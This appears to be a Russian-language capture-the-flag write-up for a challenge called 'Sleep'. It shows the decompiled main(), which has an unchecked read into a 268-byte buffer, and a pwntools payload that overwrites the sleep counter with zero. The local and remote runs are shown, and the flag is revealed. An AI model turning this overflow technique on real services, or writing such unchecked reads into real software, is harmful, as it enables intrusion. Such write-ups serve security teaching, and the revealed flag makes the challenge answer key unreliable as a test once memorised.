Вы получите флаг через 1024 секунды, осталось чуть-чуть подождать.

nc 109.233.56.90 11576

Solution

Судя по тексту задания нам нужно изменить задержку. Либо попытаться дождаться флага. Попробую оба варианта:

cu63:Sleep/ $ nc 109.233.56.90 11576
Enter your name: just wait
Hello just wait
! You will get your flag in 1024 seconds
Alarm clock

К сожалению меня выкинуло. Буду реверсить.

Анализ main

int32_t main(int32_t argc, char** argv, char** envp)
{
    alarm(5);
    uint32_t seconds = 0x400;
    printf("Enter your name: ");
    char buf[0x10c];
    read(0, &buf, 0x400);
    printf("Hello %s! You will get your flag in %d seconds\n", &buf, (uint64_t)seconds);
    sleep(seconds);
    system("cat /flag");
    return 0;
}

Мы вводим имя в buf. Максимальная длина буфера 268, а программа читает 1024. Нужно переписать seconds.

Создам шаблон:

pwn template task --host 109.233.56.90 --port 11576 > exploit.py

Exploit

payload = b'q' * 268 + p32(0)
io.sendline(payload)
flag = io.recvline()
log.success(flag)

Проверю локально:

root@345317d3929f:/rev# python3 exploit.py LOCAL
[+] Starting local process '/rev/task': pid 27
[+] Enter your name: Hello qqq...qqq! You will get your flag in 0 seconds
[*] Switching to interactive mode
cat: /flag: No such file or directory

Команда выполнилась. Получу флаг на удалённом:

root@345317d3929f:/rev# python3 exploit.py
[+] Opening connection to 109.233.56.90 on port 11576: Done
[+] Enter your name: Hello qqq...qqq! You will get your flag in 0 seconds
[*] Switching to interactive mode
spbctf{beep_boop_overflow_int_variable}
spbctf{beep_boop_overflow_int_variable}